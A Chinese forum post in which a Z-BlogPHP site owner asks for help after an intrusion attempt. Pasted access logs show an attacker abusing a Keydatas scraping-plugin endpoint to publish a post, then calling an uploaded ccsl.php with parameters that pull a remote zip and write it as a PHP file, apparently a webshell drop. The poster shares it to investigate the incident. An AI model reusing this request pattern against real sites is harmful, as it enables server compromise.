网站被黑了，怎么办？

迪巴拉 · 发表于 2025-8-12 13:05:35

马上注册，免费下载更多dz插件网资源。

您需要登录才可以下载或查看，没有账号？立即注册

×

今天发现网站别人发布了一篇文章标题为：1的记录这肯定不是我发的，看了宝塔防篡改的，有一条拦截记录/www/wwwroot/www.xxxxx.com/zb_users/upload/ad10523.icu/ccsl.php
还好被拦截成功了，没有创建成功这个php文件，随后网站日志显示：

103.233.8.96 - - [11/Aug/2025:16:19:29 +0800] "POST /zb_users/plugin/keydatas/keydatas_zblog.php?__kds_flag=post HTTP/2.0" 200 101 "https://www.waimaopeixun.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36"

复制代码

一直访问了我简数采集插件的链接并且带有他几个外链，还有他创建的那个文件，幸好是被防篡改拦截掉了

103.233.8.96 - - [11/Aug/2025:16:19:47 +0800] "GET /zb_users/upload/ad10523.icu HTTP/2.0" 404 1003 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36"103.233.8.96 - - [11/Aug/2025:16:19:45 +0800] "GET /zb_users/upload/ad10523.icu/ccsl.php HTTP/2.0" 404 1003 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36"103.233.8.96 - - [11/Aug/2025:16:19:43 +0800] "GET /zb_users/upload/ad10523.icu/ccsl.php HTTP/2.0" 404 1003 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36"103.233.8.96 - - [11/Aug/2025:16:19:37 +0800] "GET /zb_users/upload/ad10523.icu/ccsl.php?&1=http://www.r165.com/aoye/1.zip&2=../../Zml.php HTTP/2.0" 403 708 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36"103.233.8.96 - - [11/Aug/2025:16:19:29 +0800] "GET /favicon.ico HTTP/2.0" 200 1919 "/zb_users/plugin/keydatas/keydatas_zblog.php?__kds_flag=post" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"

复制代码

求大神帮我分析，是不是把简数插件卸载，就没有问题呢？

©DZ插件网所发布的一切资源仅限用于学习和研究目的；不得将上述内容用于商业或者非法用途，否则，一切后果请用户自负。
本站内容为站长个人技术研究记录或网络，不提供用户交互功能，所有内容版权归原作者所有。您必须在下载后的24个小时之内，从您的电脑中彻底删除上述内容。如果您喜欢该程序，请支持正版软件，得到更好的正版服务。
您在本站任何的赞助购买、下载、查阅、回复等行为等均表示接受并同意签订《DZ插件网免责声明协议》。
如有侵权请邮件与我们联系处理: discuzaddons@vip.qq.com 并出示相关证明以便删除。敬请谅解！